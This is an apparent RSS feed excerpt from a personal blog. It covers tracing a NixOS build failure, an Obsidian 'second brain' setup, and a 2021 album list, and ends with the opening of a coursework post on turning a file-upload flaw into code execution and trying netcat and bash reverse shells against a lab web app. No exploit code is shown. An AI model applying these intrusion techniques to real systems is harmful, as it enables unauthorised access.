<span class="nx">Author</span><span class="p">:</span><span class="w"> </span><span class="nx">Vladimír</span><span class="w"> </span><span class="nx">Čunát</span><span class="w"> </span><span class="p">&lt;</span><span class="nx">v</span><span class="err">@</span><span class="nx">cunat</span><span class="p">.</span><span class="nx">cz</span><span class="p">&gt;</span>
<span class="nx">Date</span><span class="p">:</span><span class="w">   </span><span class="nx">Sat</span><span class="w"> </span><span class="nx">Mar</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="mi">17</span><span class="p">:</span><span class="mi">39</span><span class="p">:</span><span class="mi">24</span><span class="w"> </span><span class="mi">2025</span><span class="w"> </span><span class="o">+</span><span class="mi">0100</span>

<span class="w">    </span><span class="nx">staging</span><span class="o">-</span><span class="nx">next</span><span class="w"> </span><span class="mi">2025</span><span class="o">-</span><span class="mi">03</span><span class="o">-</span><span class="mi">13</span><span class="w"> </span><span class="p">(</span><span class="err">#</span><span class="mi">389579</span><span class="p">)</span>

<span class="w"> </span><span class="nx">nixos</span><span class="o">/</span><span class="nx">doc</span><span class="o">/</span><span class="nx">manual</span><span class="o">/</span><span class="nx">release</span><span class="o">-</span><span class="nx">notes</span><span class="o">/</span><span class="nx">rl</span><span class="o">-</span><span class="mi">2505</span><span class="p">.</span><span class="nx">section</span><span class="p">.</span><span class="nx">md</span><span class="w">                      </span><span class="o">|</span><span class="w">   </span><span class="mi">3</span><span class="w"> </span><span class="o">+</span>
<span class="w"> </span><span class="nx">nixos</span><span class="o">/</span><span class="nx">modules</span><span class="o">/</span><span class="nx">profiles</span><span class="o">/</span><span class="nx">installation</span><span class="o">-</span><span class="nx">device</span><span class="p">.</span><span class="nx">nix</span><span class="w">                         </span><span class="o">|</span><span class="w">   </span><span class="mi">4</span><span class="w"> </span><span class="o">+-</span>
<span class="w"> </span><span class="nx">pkgs</span><span class="o">/</span><span class="nx">applications</span><span class="o">/</span><span class="nx">audio</span><span class="o">/</span><span class="nx">cdparanoia</span><span class="o">/</span><span class="k">default</span><span class="p">.</span><span class="nx">nix</span><span class="w">                         </span><span class="o">|</span><span class="w">  </span><span class="mi">90</span><span class="w"> </span><span class="o">++++++-</span>
<span class="w"> </span><span class="nx">pkgs</span><span class="o">/</span><span class="nx">applications</span><span class="o">/</span><span class="nx">editors</span><span class="o">/</span><span class="nx">emacs</span><span class="o">/</span><span class="nx">build</span><span class="o">-</span><span class="nx">support</span><span class="o">/</span><span class="nx">generic</span><span class="p">.</span><span class="nx">nix</span><span class="w">              </span><span class="o">|</span><span class="w">   </span><span class="mi">1</span><span class="w"> </span><span class="o">+</span>
<span class="w"> </span><span class="nx">pkgs</span><span class="o">/</span><span class="nx">applications</span><span class="o">/</span><span class="nx">misc</span><span class="o">/</span><span class="nx">sl1</span><span class="o">-</span><span class="nx">to</span><span class="o">-</span><span class="nx">photon</span><span class="o">/</span><span class="k">default</span><span class="p">.</span><span class="nx">nix</span><span class="w">                       </span><span class="o">|</span><span class="w">   </span><span class="mi">1</span><span class="w"> </span><span class="o">-</span>
<span class="w"> </span><span class="nx">pkgs</span><span class="o">/</span><span class="nx">applications</span><span class="o">/</span><span class="nx">version</span><span class="o">-</span><span class="nx">management</span><span class="o">/</span><span class="nx">sourcehut</span><span class="o">/</span><span class="nx">core</span><span class="p">.</span><span class="nx">nix</span><span class="w">                </span><span class="o">|</span><span class="w">   </span><span class="mi">1</span><span class="w"> </span><span class="o">-</span>
</code></pre></div>

<p>it's a <a href="https://github.com/NixOS/nixpkgs/pull/389579/files">staging-next merge</a>, which is unfortunate because this one commit contains many changes merged together.</p>
<p>searching for the word "store" eventually brought me to two specific files relating to <code>kernel/make-initrd</code> which seemed promising as the error was complaining about not being able to find specific kernel modules in the nix store. looking at the commits, i found the <a href="https://github.com/NixOS/nixpkgs/pull/372931">original pull request</a> that made the change.  </p>
<p>at this point all i had to do was build from a commit just before the change and just after, which confirmed that this was indeed the breaking change. however, after some discussion on the <a href="https://discourse.nixos.org/t/issue-building-linux-kernel-modules-after-flake-update/62322/8?u=samiser">nixos discourse</a> it was pointed out that <code>2.18.5</code> was actually an unsupported version, and the bug was not present on supported versions of nix (like <code>2.18.9</code>). </p>
<p>after updating the version of nix on my server, i was indeed able to build the configuration just fine. i still thought this was a pretty interesting exercise in hunting down a problem though, and i hope you enjoyed reading about it :)</p>]]></description>
    </item>
    <item>
      <title>building a second brain</title>
      <link>https://samiser.xyz/#2022-03-12-building-a-second-brain</link>
      <guid isPermaLink="true">https://samiser.xyz/#2022-03-12-building-a-second-brain</guid>
      <pubDate>Sat, 12 Mar 2022 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>For the longest time, I've struggled to keep track of my ideas and thoughts.
I always attempt to have many ideas and projects on the go at once, and I keep individual and disparate notes sometimes, but it's never been cohesive or coherent.</p>
<p>Often i'll create a note somewhere to remember something, write the note, then leave it and never look at it again.
I never thought about creating a better system for maintaining knowledge, as it's not a problem I ever acknowledged.
I stumbled through uni with notes in arbitrary folder structures, guiding projects by slowly building the final product rather than doing any semblance of proper planning.</p>
<p>This year, unrelated to this problem, I decided to have a go at keeping track of my life via some kind of diary/journal.
I wanted to write down a reasonably granular overview of things I got up to each day, then in the evening do some journalling about how the day went and how I felt about it.</p>
<p>I have dysgraphia which rules out doing a physical journal, so I wanted to find a technological one that made the process as frictionless as possible.
I looking into several different tools, but decided to go with <a href="https://obsidian.md/">obsidian</a>.</p>
<p>There are many different note taking and writing softwares out there, but something that intrigued me with obsidian was the mention of a "second brain".
At the time I didn't really know what this meant, so I decided to do some reading on the topic.</p>
<p>This led me down a deep rabbit hole primarily focussed on the concept of a <a href="https://en.wikipedia.org/wiki/Zettelkasten">Zettelkasten</a>.
The idea is that notes, which represent ideas or information, should be created when new ideas or information is acquired.
Notes then have metadata, which allows them to be related directly to other notes.</p>
<p>Metadata for each note allows the system of knowledge to be navigated by how ideas connect, rather than arbitrary hierarchy.
The emphasis with a Zettelkasten is to create a hypertextual web of thought, not just a collection of writing.</p>
<p>These ideas when I initially read them struck me as kinda weird and almost too abstract to wrap my head around.
However, as I started my daily note-taking and journalling in Obsidian, it became a bit clearer as to what this means.</p>
<p>I've been using and developing this system for about two months now.
I no longer lose track of working on many projects at once, but am in fact able to context switch between various projects quite effectively.
New ideas I have are tracked and developed upon organically, and it barely feels like work.
Having all my ideas and projects so effectively tracked is also surprisingly motivating for doing work on them.</p>
<p>This system is the cohesive knowledge base that I never really knew I needed. It's had such a substantial effect on my ability to work, be productive, and manage my thoughts that it felt worth sharing.</p>
<p><img loading="lazy" alt="graph of all my notes" src="https://samiser.xyz/images/building-a-second-brain/graph-of-my-notes.jpg" /></p>
<p>This post covers how I approach the structure of my notes, some ways that I use the metadata of notes to do data analysis, then finally how I manage backing up and synchronising the notes across all my devices.</p>
<h2>Structure</h2>
<p>The main premise behind this system is that it shouldn't become a bucket to dump passing thoughts into.</p>
<p>Most note-taking systems are transient.
They are convenient to add to, but after adding notes to the system over an extended period of time all there will be is a big pile of dissociated scribbles.</p>
<p>There is no mechanism by which to access knowledge, or further solidify understanding.
These notes primarily serve a purpose at the time of writing, used as fuel for an ongoing process, but mostly serve no value after that point.</p>
<p>To correct this, notes should be organised to evolve organically.</p>
<p>The structure of my system is not quite a Zettelkasten, but it's heavily inspired by it. 
There are a few basic attributes, which I will cover one by one:</p>
<h3>Notes should be associative, not hierarchical</h3>
<p>No note is a child or parent of another note.
Creating a hierarchy of notes is an instinctive but inefficient method of organisation.</p>
<p>Something I used to do was have notes like University -&gt; Year 3 -&gt; Module X -&gt; Lectures -&gt; Lecture X.
This results in neatly organised but terribly inaccessible notes, and just made me never return to my deeply nested notes ever again.</p>
<p>If instead I created notes for concepts learned, and linked those to the lecture notes that discussed that concept, the notes and the value of those notes is immediately more accessible.</p>
<h3>Notes should be uniquely addressable</h3>
<p>Since notes shouldn't be hierarchical, they need to be uniquely addressable so that they can be linked to regardless of their location.</p>
<p>This removes emphasis from organising notes in folders, and places emphasis on organising them by how they connect to one another.
Navigating the notes should be organic, and following links that relate to one another, even connecting new notes back to older notes, is a lot easier than what is the software equivelant of delving into a dusty filing cabinet to find what you're looking for.</p>
<h3>Notes should adhere to the principle of atomicity</h3>
<p>Each note should address one thing and one thing only.</p>
<p>If I have a note for a particular project, and in that project I'm making use of a certain tool, the notes on that tool should exist independantly.
This is beneficial for a multitude of reasons, but mainly because it allows for more focus on relationship based organisation.</p>
<p>In the future if I use that tool again, I can immediately follow that link to the older project where I used it once before.
This relationship may have been missed or forgotten about if I hadn't created one note per concept.</p>
<p>This is a simple example of course, but this idea that relationships become a lot more discoverable when notes are atomic becomes crystal clear the more you use a system like this.</p>
<h3>Notes are written for my future self</h3>
<p>I'm not writing these notes for an imagined audience, and I have the benefit of context for this system.
The notes don't need to be perfect, and they don't need to be fully comprehensive, but only as comprehensive as I think I will find useful.</p>
<p>Ultimately I'm treating this system as a tool, and for it to be useful it has to be practical and sustainable.
Obsessing over perfect notes and metadata will just take up too much time.</p>
<p>Of course, I do my best to write notes as comprehensively as possible, but I'm trying to make it a principle that I shouldn't be too hard on myself or too strict.</p>
<h2>Metadata</h2>
<p>One thing I've enjoyed using this system for is cataloguing movies and albums that I've consumed this year.</p>
<p>Typically after watching a new film or listening to a new album, I'll create a note for it, jot down a few thoughts give it a rating out of 10, and make link from my daily journal noting that I consumed that media.
After a while, I realised it would be quite nice to do some kind of data aggregation on these.</p>
<p>Enter <a href="https://github.com/blacksmithgu/obsidian-dataview">obsidian-dataview</a>, a plugin that allows you to parse note metadata and do some rudimentary data analysis on it.</p>
<p>My workflow now is, after consuming some media, I'll create a note for it from the relevant template (in this case the album template):</p>
<div class="codehilite"><pre><span></span><code><span class="x">---</span>
<span class="x">tags: #[music, album]</span>
<span class="x">last-listened: </span><span class="cp">&lt;%</span><span class="w"> </span><span class="n">tp</span><span class="o">.</span><span class="n">date</span><span class="o">.</span><span class="n">now</span><span class="p">(</span><span class="s2">&quot;YYYY-MM-DD&quot;</span><span class="p">)</span><span class="w"> </span><span class="cp">%&gt;</span>
<span class="x">rating: #6</span>
<span class="x">reviewed: no</span>
<span class="x">---</span>
<span class="x"># </span><span class="cp">&lt;%</span><span class="w"> </span><span class="n">tp</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">title</span><span class="w"> </span><span class="cp">%&gt;</span>
<span class="x">by artist</span>
</code></pre></div>

<p>I'm using the Templater plugin for some nice features like pulling in the title from the filename, and adding the current date to the <code>last-listened</code> field.</p>
<p>Each field serves a specific purpose:</p>
<ul>
<li><code>tags</code>: present in every file, and they are useful for querying only specific types of note</li>
<li><code>last-listened</code>: helps me sort albums by chronological listening order</li>
<li><code>rating</code>: how i rate the album out of 10</li>
<li><code>reviewed</code>: whether i've captured my thoughts on the album yet or not</li>
</ul>
<p>I also typically have a note for each artist I listen to, so <code>by artist</code> is actually a link to an artist.</p>
<p>With all this in play, I can write a dataview to display all the albums I've listened to this year in chronological order:</p>
<div class="codehilite"><pre><span></span><code><span class="nx">dv</span><span class="p">.</span><span class="nx">table</span><span class="p">([</span><span class="s2">&quot;Title&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;Rating&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;Last Listened&quot;</span><span class="p">],</span><span class="w"> </span><span class="nx">dv</span><span class="p">.</span><span class="nx">pages</span><span class="p">(</span><span class="s2">&quot;#album&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="nx">where</span><span class="p">(</span><span class="nx">album</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">dv</span><span class="p">.</span><span class="nx">date</span><span class="p">(</span><span class="nx">album</span><span class="p">[</span><span class="s2">&quot;last-listened&quot;</span><span class="p">])</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="nx">dv</span><span class="p">.</span><span class="nx">date</span><span class="p">(</span><span class="s2">&quot;2022-01-01&quot;</span><span class="p">))</span>
<span class="w">    </span><span class="p">.</span><span class="nx">sort</span><span class="p">(</span><span class="nx">album</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">album</span><span class="p">[</span><span class="s2">&quot;last-listened&quot;</span><span class="p">],</span><span class="w"> </span><span class="s2">&quot;desc&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">album</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">[</span><span class="nx">album</span><span class="p">.</span><span class="nx">file</span><span class="p">.</span><span class="nx">link</span><span class="p">,</span><span class="w"> </span><span class="nx">album</span><span class="p">.</span><span class="nx">rating</span><span class="p">,</span><span class="w"> </span><span class="nx">dv</span><span class="p">.</span><span class="nx">date</span><span class="p">(</span><span class="nx">album</span><span class="p">[</span><span class="s2">&quot;last-listened&quot;</span><span class="p">])]))</span>
</code></pre></div>

<p>Which looks like this (this isn't the full list):
<img loading="lazy" alt="log of my album listening" src="https://samiser.xyz/images/building-a-second-brain/media-log.png" /></p>
<p>A slightly more involved example is that every day I enter a happiness score into my daily journal in an inline data field.
I can use a dataview to aggregate these into a table:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="nx">count_map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{}</span>
<span class="kd">let</span><span class="w"> </span><span class="nx">count_array</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[[]]</span>

<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">entry</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">dv</span><span class="p">.</span><span class="nx">pages</span><span class="p">(</span><span class="s1">&#39;&quot;journal&quot;&#39;</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="nx">h</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">happiness</span>
<span class="w">    </span><span class="nx">count_map</span><span class="p">[</span><span class="nx">h</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">count_map</span><span class="p">[</span><span class="nx">h</span><span class="p">]</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">count_map</span><span class="p">[</span><span class="nx">h</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">let</span><span class="w"> </span><span class="nx">indices</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)</span>

<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">indices</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nx">count_array</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">push</span><span class="p">(</span><span class="nx">count_map</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="kc">undefined</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="p">[</span><span class="nx">count_map</span><span class="p">[</span><span class="nx">i</span><span class="p">]].</span><span class="nx">toString</span><span class="p">()</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">)</span>
<span class="p">}</span>

<span class="nx">dv</span><span class="p">.</span><span class="nx">table</span><span class="p">(</span>
<span class="w">    </span><span class="nx">indices</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">index</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">toString</span><span class="p">()),</span><span class="w"> </span>
<span class="w">    </span><span class="nx">count_array</span>
<span class="w">    </span><span class="p">)</span>
</code></pre></div>

<p>I also have a less complicated view to show a list of links and brief summaries of all days rated 9 or above:</p>
<div class="codehilite"><pre><span></span><code><span class="nx">dv</span><span class="p">.</span><span class="nx">list</span><span class="p">(</span><span class="nx">dv</span><span class="p">.</span><span class="nx">pages</span><span class="p">(</span><span class="s1">&#39;&quot;journal&quot;&#39;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="nx">where</span><span class="p">(</span><span class="nx">entry</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">happiness</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mf">8</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">page</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="sb">`</span><span class="si">${</span><span class="nx">page</span><span class="p">.</span><span class="nx">file</span><span class="p">.</span><span class="nx">link</span><span class="si">}</span><span class="sb"> - </span><span class="si">${</span><span class="nx">page</span><span class="p">.</span><span class="nx">summary</span><span class="si">}</span><span class="sb">`</span><span class="p">))</span>
</code></pre></div>

<p>All of this together looks like this:
<img loading="lazy" alt="table of happiness and list of happy days" src="https://samiser.xyz/images/building-a-second-brain/journal-log.png" /></p>
<p>Pretty cool!
Obviously this is just scratching the surface of this <a href="https://en.wikipedia.org/wiki/Quantified_self">self-tracking</a> type data analysis, but I'm finding it pretty fun.</p>
<h2>Synchronising Files</h2>
<p>Now we've gone over how I use this system, it's time to delve into the infrastructure behind it.</p>
<p>My goal was to synchronise my notes across all my devices, on Linux, Windows and Android.
Obsidian, which is a free tool, does have a service you can pay for to back up and synchronise your notes, but since they're just plaintext files I figured it wouldn't be too hard to implement myself.</p>
<p>I decided on git for storing the notes.
I'm very used to git-based workflows, plus obsidian has a nice community plugin that enables automated commiting, pushing, pulling etc of notes.</p>
<p>In the notes folder, I just created a new repo and added the notes to it:</p>
<div class="codehilite"><pre><span></span><code>git<span class="w"> </span>init<span class="w"> </span>-b<span class="w"> </span>main
git<span class="w"> </span>add<span class="w"> </span>.
git<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span><span class="s1">&#39;initial commit&#39;</span>
</code></pre></div>

<p>Then I created and added a new SSH key to Github, created a new private notes repo, and added the key as allowed to push to and pull from that repo.
I had to do this as the key I usually use is password protected, which doesn't work for automatic backups.</p>
<p>Finally I installed the Obsidian Git plugin to Obsidian.
This was super easy to configure, and I just set it to commit and push any time I don't make changes for 2 minutes, and pull whenever I open Obsidian.
Committing, pushing and pulling can also all be done manually with keyboard shortcuts.</p>
<p>This works well for Windows and Linux, but on Android it's a bit more complicated.
If I do write up my solution for this I'll put it in its own blog post because this is already pretty lengthy, but essentially I used Tasker and Termux to set up an automatic job to pull + push the notes on my phone every 5 minutes.
Most of the time nothing happens, but when a change is made i get a little toast on the screen.</p>
<h2>Conclusions</h2>
<p>Ultimately this has been a great project for many reasons.</p>
<p>I've found the process of journalling really cathartic and useful for managing my mental health.
It's great to be able to add a distinctive stopping point to the day, and being able to look back at particularly good days is also nice.</p>
<p>Organising my knowledge and learning across multiple disciplines (mainly music, programming and infosec) has been super useful.
I really like the atomic note sytem and expanding my notes on a topic has become easy, fluid and even fun.
I find myself wanting to learn more stuff so I have an excuse to make more notes!</p>
<p>Finally, Obsidian has proven to be a great tool in just how customisable and extensible it is.
There's a lot more to it that I didn't even touch on in this post that I've found super useful, and I would highly recommend it.</p>
<p>Thanks for reading!</p>]]></description>
    </item>
    <item>
      <title>my top 10 albums of 2021</title>
      <link>https://samiser.xyz/#2022-01-26-my-top-10-albums-of-2021</link>
      <guid isPermaLink="true">https://samiser.xyz/#2022-01-26-my-top-10-albums-of-2021</guid>
      <pubDate>Wed, 26 Jan 2022 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>2021 was a weird year, but a lack of stuff happening gave me some extra time to delve into the great music released throughout. Here's my fav albums of the year, along with some brief thoughts for each album. They're in no particular order.</p>
<h2>Going Going Gone - Mild High Club</h2>
<p><img loading="lazy" alt="going going gone cover" src="https://samiser.xyz/images/top-10-albums-2021/going-going-gone.jpg" /></p>
<p>I found Mild High Club back in 2017 when they collab'd with King Gizzard and the Lizard Wizard.
I've listened to their other two albums, Skiptracing and Timeline, endlessly.
I was very excited to see them release a new album this year, and it didn't disappoint.</p>
<p>The album is really a blend of many different genres, moving fluently from bossa nova to disco to funk with real attention to detail and incredible intricacy.
The production is very unique, and even though it's not particularly challenging there is plenty of interesting experimentation to listen out for.</p>
<p><strong>Fav Tracks</strong>: <em>A New High</em>, <em>It's Over Again</em></p>
<h2>Butterfly 3000 - King Gizzard &amp; The Lizard Wizard</h2>
<p><img loading="lazy" alt="butterfly 3000 cover" src="https://samiser.xyz/images/top-10-albums-2021/butterfly-3000.jpg" /></p>
<p>King Gizzard &amp; The Lizard Wizard are probably my favourite band of all time. They continue to amaze me with their sheer versitility, from dreamy folk to thrash metal, and this album is no exception.</p>
<p>Something Gizz haven't really explored much in the past is synthesizer sounds. This album however is an ode to the synth, which particularly appeals to me as a synth nerd.
Like every other genre they attempt to conquer, they adapt their unique gizzness to synth-based dream-pop flawlessly.
Layers of vintage synth sounds are woven into their distinct drum &amp; guitar style in an incredibly satisying way, with the dreamy vocals especially lending themselves to the genre.</p>
<p>Shanghai is probably one of my fav songs they're ever made.</p>
<p><strong>Fav Tracks</strong>: <em>Shanghai</em>, <em>Catching Smoke</em></p>
<h2>Black To The Future - Sons Of Kemet</h2>
<p><img loading="lazy" alt="black to the future cover" src="https://samiser.xyz/images/top-10-albums-2021/black-to-the-future.jpg" /></p>
<p>Afrobeat &amp; carribean influenced record by London jazz group Sons of Kemet. This record, much like their previous My Queen Is a Reptile, combines intense rhythms and instrumentation with lyrics discussing being black in the UK. Their formula is to create these upbeat instrumentals while featuring various different guest vocalists.</p>
<p>This album has a really great sense of composition and cohesion. Each instrument provides incredible layers of depth, but it all just works together perfectly. The drums especially for me are a highlight, with tight groves being mixed with lovely syncopation and polyrhythms.</p>
<p>The spoken word and rapping is also incredible, with the energy of the vocals and lyrics being reflected directly in the energy of the instruments. This album was recorded in the months following the murder of George Floyd and subsequent BLM movement, and this outrage is the subject of the album. Reading the track titles sequentially reveals this album's statement of racial injustice in a poignant and succinct way.</p>
<p><strong>Fav Tracks</strong>: <em>Pick Up Your Burning Cross</em>, <em>Hustle</em></p>
<h2>Bleed the Future - Archspire</h2>
<p><img loading="lazy" alt="bleed the future cover" src="https://samiser.xyz/images/top-10-albums-2021/bleed-the-future.jpg" /></p>
<p>Some of the greatest mastery of each band member's respective instruments i've ever witnessed. Ultra-technical, hyper-speed extremely brutal death/tech metal. Super fun to listen to, surprisingly catchy, and just mind-blowingly impressive.</p>
<p>The neoclassical elements are really nice, moving directly from Mozart quotes (the opening of Reverie on the Onyx) to face melting harmonic minor riffs.
Tech metal like Necrophagist can sometimes stray into the realm of being technical for the sake of it, but I really think this album achieves the perfect balance between musicianship and musicality.</p>
<p><strong>Fav Tracks</strong>: <em>Drone Corpse Aviator</em>, <em>Reverie on the Onyx</em></p>
<h2>By The Time I Get to Phoenix - Injury Reserve</h2>
<p><img loading="lazy" alt="by the time i get to phoenix cover" src="https://samiser.xyz/images/top-10-albums-2021/by-the-time-i-get-to-phoenix.jpg" /></p>
<p>This is an extremely unique exploration of the experimental hip-hop genre, venturing into industrial and avante-garde territory.
With Stepa J. Groggs' tragic passing in 2020, this album is a primarily a deep dive into the miserable and disturbing world of grief, loss and death.</p>
<p>Evoking similar feeling as A Crow Looked at Me, this album really delves into the members feelings of grief and loss following the death of their band member.</p>
<p>The first half is chaotic and intense, with intrumentals gesturing towards a groove before tearing you away from it, dancing between different ideas in a discontented but somehow cohesive motion.
The latter half of the album, imo, is what makes it really special. Knees for example explores how despite living through painful life events, sometimes you don't take anything from it or grow from it, it just hurts.</p>
<p><strong>Fav Tracks</strong>: <em>Outside</em>, <em>Knees</em></p>
<h2>LP! - JPEGMAFIA</h2>
<p><img loading="lazy" alt="LP! cover" src="https://samiser.xyz/images/top-10-albums-2021/LP!.jpg" /></p>
<p>JPEGMAFIA is one of my favourite artists of all time, with his entire discography being wholly impressive while continuing to develop unique flavour.
Developing further on the glitch inspired works of Veteran and All My Heros Are Cornballs, this record takes these intrumental ideas to a new level.
The production and sample flipping throughout is incredibly unique and inventive, from sampling Animals as Leaders to Britney Spears while still keeping the album aesthetically consistent.</p>
<p>Lyrically, Peggy is impressively in touch with internet culture, which is refreshing to hear in such a successful artist.
He consistently delivers clever wordplay and tongue-in-cheek references in a very satisfying way.</p>
<p>All in all a super fun album to listen to, and a continuation of Peggy's brilliance.</p>
<p><strong>Fav Tracks</strong>: <em>TRUST!</em>, <em>END CREDITS!</em>, <em>WHAT KIND OF RAPPIN' IS THIS?</em></p>
<h2>The Turning Wheel - Spelling</h2>
<p><img loading="lazy" alt="the turning wheel cover" src="https://samiser.xyz/images/top-10-albums-2021/the-turning-wheel.jpg" /></p>
<p>Initially when I listened to this album I didn't really enjoy it that much, but it was so unique and generally highly praised that I decided to stick with it, and I'm really glad that I did.</p>
<p>This is foremost an Art Pop album, but it delves into so many different genres.
It's a grand and immersive experience and really unlike anything else I've heard.
The arrangements and instrumentation on this album is perfect, blending layers of synthy goodness with enchanting strings and haunting vocals.</p>
<p>The lyrics are equally immersive, delving into many very personal experiences in simple but effective ways.
Boys at School for example is a proggy epic about the troubles she faced as a teenager.</p>
<p>Ultimately this album is just a well crafted expression of Spellling's world, and the perfect immersion in that world is what makes this album so special.</p>
<p><strong>Fav Tracks</strong>: <em>Little Deer</em>, <em>The Future</em>, <em>Boys at School</em>, </p>
<h2>A Tiny House, In Secret Speeches, Polar Equals - Sweet Trip</h2>
<p><img loading="lazy" alt="a tiny house, in secret speeches, polar equals cover" src="https://samiser.xyz/images/top-10-albums-2021/a-tiny-house-in-secret-speeches-polar-equals.jpg" /></p>
<p>Sweet Trip's first release since 2009, this album is really a return to what makes them special while also bringing together 12 years of further experience that the duo has had since then.
This is a dream pop, shoegaze &amp; IDM masterpiece, dipping into elements of ambient and indie rock/pop, it's more of their classic style that I really love.</p>
<p>The duo sounds as good as they ever have, which is impressive for having such a long hiatus.
Their previous two albums have become albums that I come back to extremely often and am now intimately familiar with, and I have no doubt this album will be the same.</p>
<p><strong>Fav Tracks</strong>: <em>Surviving a Smile</em>, <em>Chapters</em>, <em>Polar Equals</em></p>
<h2>Mood Valiant - Hiatus Kaiyote</h2>
<p><img loading="lazy" alt="mood valiant cover" src="https://samiser.xyz/images/top-10-albums-2021/mood-valiant.jpg" /></p>
<p>This album was my introduction to Hiatus Kaiyote, and after listening I went back and listened to their entire discography. The sheer groove of this band is astounding.</p>
<p>Predominantly this is a neo-soul record, but I think it's not really accurate to describe it as that. Red Room is the most neo-souley track and it's fantastic, but then tracks like Chivalry Is Not Dead really go outside the genre into more intense and synchopated grooves.</p>
<p>It's an exploration of many different sounds, but they all land tightly in the pocket.
Super catchy and really fun to listen to.</p>
<p><strong>Fav Tracks</strong>: <em>Slip Into Something Soft</em>, <em>Chivalry Is Not Dead</em>, <em>Red Room</em></p>
<h2>Bring Backs - Alfa Mist</h2>
<p><img loading="lazy" alt="bring backs cover" src="https://samiser.xyz/images/top-10-albums-2021/bring-backs.jpg" /></p>
<p>Another person I've previously listened to endlessly, Antiphon from 2017 is how I discovered Alfa Mist.
This album filled my high expectations, with each song having it's own distinct and unique character while all being coherent hip-hop inspired jazz.</p>
<p>I wouldn't say this album particularly breaks any new ground, but it does achieve what it sets out to do so so well.
This is a solid jazz album with luscious production, fantastic harmony, and engaging improvisational passages.
Something I love about Alfa Mist is his ability to weave in complex rhythms and time signatures into the music without breaking the flow, and this is present all over.</p>
<p>This is a great album to stick on in the background, but will also reward you for listening carefully to the composition.</p>
<p><strong>Fav Tracks</strong>: <em>Teki</em>, <em>People</em>, <em>Attune</em></p>]]></description>
    </item>
    <item>
      <title>Creating a Pseudo-Webshell with Python</title>
      <link>https://samiser.xyz/#2019-12-20-creating-a-pseudo-webshell-with-python</link>
      <guid isPermaLink="true">https://samiser.xyz/#2019-12-20-creating-a-pseudo-webshell-with-python</guid>
      <pubDate>Fri, 20 Dec 2019 00:00:00 +0000</pubDate>
      <description><![CDATA[<p>Just recently, I managed to finish all of my university
coursework somehow. One of the modules I had this term
was Web Application Hacking. The coursework for this
module was essentially to produce a pentest report for
a given web application which had many randomly generated
vulnerabilities.</p>
<p>I did a lot of interesting hacking stuff for this coursework
since the sheer amount of vulnerabilities present really
allowed me to get creative. There was however one thing
I achieved that I'm most proud of, and that's what this
post is about.</p>
<p>Essentially, I managed to get code execution using a
file upload vulnerability, but was really struggling to
get a shell. I tried weevely, netcat, bash over the tcp
file descriptor and php sockets but nothing would work.
Still not really sure why this was but I could send
commands and get a result back, so I was determined to
get some kind of shell with this code execution and
that's just what I did.</p>
<h2>File Upload and Code Execution</h2>
<p>Firstly I'll just go over the file upload vulnerabilities
that I discovered.</p>
<p>The vulnerable entry point was a profile picture changing
form.</p>
<p><img loading="lazy" alt="Upload form" src="https://samiser.xyz/images/fake-shell-with-python-requests/upload.png" /></p>
<p>It was meant to only accept JPG or PNG files. Uploading
